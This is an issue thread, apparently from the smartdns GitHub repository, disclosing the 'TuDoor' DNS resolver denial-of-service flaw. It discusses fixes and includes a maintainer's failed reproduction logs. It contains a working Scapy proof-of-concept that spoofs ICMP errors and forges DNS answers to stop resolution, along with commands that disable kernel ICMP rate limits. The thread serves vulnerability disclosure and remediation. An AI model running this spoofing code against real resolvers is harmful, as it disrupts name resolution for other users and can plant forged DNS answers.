Open idealeer opened 1 month ago
Maybe I don't fully understand how this attack works. The smartdns code checks the TXID and UDP packet format before returning the results to the client. The corresponding code is as follows: https://github.com/pymumu/smartdns/blob/84f217dbd19f97e30f24af640ddb4cd21ae1e3ec/src/dns_client.c#L1828-L1870
line 1828 checks udp packet format. line 1867 checks TXID.
What's missing is a check of the server address. I wonder if adding server address checking can avoid this problem?
In addition, if there is a cache poisoning attack similar to GFW, I think it is a problem with the UDP DNS protocol. There may be no solution except DNSSEC, DOT, and DOH.
Yeah. SmartDNS does check the txid and src port. Also, it will ignore malformed response packets. But if it receives an icmp error message (only validating the inner 4 tuples while not checking the txid), it will terminate and stop receiving any promising legal response.
Is there a way to reproduce the problem? Or any suggestions for a fix?
i think the simplest way to fix it is to ignore the ICMP error message.
PoC is attached.
Run the code, dig @smartdns i.domain (starts with i), if smartdns receives an ICMP error message, it will terminate the current resolution process.
from scapy.all import *
from scapy.layers.dns import DNS, DNSRR, DNSQR
from scapy.layers.inet import IP, UDP, ICMP
IFACE_LAN = "interface"
DNS_SERVER_IP = "x.x.x.x"
PORT_OF_SERVER = "53"
BPF_FILTER = "udp port " + PORT_OF_SERVER + " and ip dst " + DNS_SERVER_IP
# bind
def dns_response(pkt):
try:
if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("1."):
spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
send(spf_resp, verbose=0, iface=IFACE_LAN)
spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
qdcount=1, qd=pkt[DNS].qd,
ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
send(spf_resp, verbose=0, iface=IFACE_LAN)
return
if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("i."):
spf_resp = IP(src="8.8.8.8", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))
send(spf_resp, verbose=0, iface=IFACE_LAN)
spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
qdcount=1, qd=pkt[DNS].qd,
ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
send(spf_resp, verbose=0, iface=IFACE_LAN)
return
spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
spf_resp /= DNS(id=pkt[DNS].id, qr=1, aa=1, rcode=0,
qdcount=1, qd=pkt[DNS].qd,
ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata=DNS_SERVER_IP))
send(spf_resp, verbose=0, iface=IFACE_LAN)
except Exception as error:
pass
sniff(filter=BPF_FILTER, prn=dns_response, iface=IFACE_LAN)
# note: to run this script, remember to cancel ICMP pkt generated from the kernel but not block it
# 3 cmds need to run
# sudo sysctl net.ipv4.icmp_msgs_burst=0
# sudo sysctl net.ipv4.icmp_msgs_per_sec=0
# sudo sysctl net.ipv4.icmp_ratelimit=0
I did some tests and couldn't reproduce the issue. The python script and smartdns run on the same server, and the icmp kernel parameters are also set. But it seems that the data sent by the python script cannot be received by smartdns. Is it filtered out by the kernel, or am I missing something?
upstream server is set to 1.1.1.4 tested kernel:5.10 and 6.1 scapy version: 2.6.0
script log
Ether / IP / UDP / DNS Qry b'i.example.com.'
txid 60656
== send1 packet: IP / ICMP / IP / UDP 192.168.59.2:42106 > 1.1.1.4:domain
.
Sent 1 packets.
== send2 packet: IP / UDP / DNS Ans 1.2.3.4
Destination IP: 192.168.59.2, Destination Port: 42106, Source IP: 1.1.1.4, Source Port: 53
.
Sent 1 packets.
modified script
if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("i."):
print(pkt)
print("txid", pkt[DNS].id)
spf_resp = IP(src="1.1.1.4", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))
print("== send1 packet:", spf_resp)
sendp(spf_resp, verbose=1, iface=IFACE_LAN)
spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
qdcount=1, qd=pkt[DNS].qd,
ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
print("== send2 packet:", spf_resp)
print(f"Destination IP: {spf_resp[IP].dst}, Destination Port: {spf_resp[UDP].dport}, Source IP: {spf_resp[IP].src}, Source Port: {spf_resp[UDP].sport}")
sendp(spf_resp, verbose=1, iface=IFACE_LAN)
return
The test script you provided report some error, changing send
to sendp
has no effect.
scapy/sendrecv.py:479: SyntaxWarning: 'iface' has no effect on L3 I/O send(). For multicast/link-local see https://scapy.readthedocs.io/en/latest/usage.html#multicast
warnings.warn(
WARNING: MAC address to reach destination not found. Using broadcast.
smartdns log, no packets received
[2024-10-11 23:22:15,474][DEBUG][ dns_server.c:7343] recv query packet from 192.168.60.9, len = 54, type = 0
[2024-10-11 23:22:15,474][DEBUG][ dns.c:2237] opt type 10
[2024-10-11 23:22:15,474][DEBUG][ dns_server.c:7363] request qdcount = 1, ancount = 0, nscount = 0, nrcount = 0, len = 54, id = 36484, tc = 0, rd = 1, ra = 0, rcode = 0
[2024-10-11 23:22:15,474][DEBUG][ dns_server.c:7386] query i.example.com from 192.168.60.9, qtype: 1, id: 36484, query-num: 1
[2024-10-11 23:22:15,474][DEBUG][ dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:15,474][ INFO][ dns_client.c:4443] request: i.example.com, qtype: 1, id: 60656, group: default
[2024-10-11 23:22:16,004][DEBUG][ dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:16,004][DEBUG][ dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:16,505][DEBUG][ dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:16,505][DEBUG][ dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:17,105][DEBUG][ dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:17,105][DEBUG][ dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:17,604][DEBUG][ dns_client.c:4314] retry query i.example.com, type: 1, id: 60656 failed
[2024-10-11 23:22:17,604][DEBUG][ dns_client.c:1772] result: i.example.com, qtype: 1, has-result: 0, id 60656
[2024-10-11 23:22:17,604][ INFO][ dns_server.c:2635] result: i.example.com, qtype: 1, rtt: -0.1 ms, 0.0.0.0
[2024-10-11 23:22:17,604][DEBUG][ dns_server.c:2354] reply i.example.com qtype: 1, rcode: 0, reply: 1
[2024-10-11 23:22:17,604][ INFO][ dns_server.c:1252] result: i.example.com, qtype: 1, rtcode: 2, id: 36484
[2024-10-11 23:22:17,604][ INFO][ dns_server.c:2411] result: i.example.com, client: 192.168.60.9, qtype: 1, id: 36484, group: default, time: 2130ms
[2024-10-11 23:22:17,604][DEBUG][ dns_server.c:2354] reply i.example.com qtype: 1, rcode: 0, reply: 0
[2024-10-11 23:22:17,604][ INFO][ dns_server.c:1252] result: i.example.com, qtype: 1, rtcode: 2, id: 36484
Overview
We found a new vulnerability in DNS resolving software, which triggers a resolver to ignore valid responses thus causing DoS (denial of service) for normal resolution. The effects of an exploit would be widespread and highly impactful, as the attacker could just forge a response targeting the source port of vulnerable resolver without the need to guess the correct TXID.
Vulnerability Details
After analyzing the source code of all DNS software, we locate a response preprocessing part that receives incoming packets and parses them before processing valid DNS data.
We find that there is a huge implementation difference between different DNS software on the preprocessing operation. Specially, some software just accept the first-incoming packet and ignore all the other responses for each outgoing query. Unfortunately, they don't check the packet format and TXID. If the source port is matched, these software will accept these packets.
Regarding this sort of processing, we propose a DoS attack to cause vulnerable resolvers to ignore any valid response and terminate current resolution process. We name it TuDoor attack.
General attack steps:
Malformed packets :
There are two type of malformed packets: ICMP packet and bad-format UDP packet. For example:
ICMP packet (the attacker even needn't to impersonate the remote server's IP).
Bad-format UDP packet with null or malformed DNS layer payload (the attacker needs to forge the remote server's IP).
Note:
Threat Surface
Mitigation
Resolvers should wait for a timeout until receiving a legal DNS response and ignore any malformed packets.
We recommend that all implementations should take a similar way to guarantee receiving a valid response rather than just receiving one, processing one, and ignoring others.
Reference
https://www.computer.org/csdl/proceedings-article/sp/2024/313000a181/1V28Z5fBEVG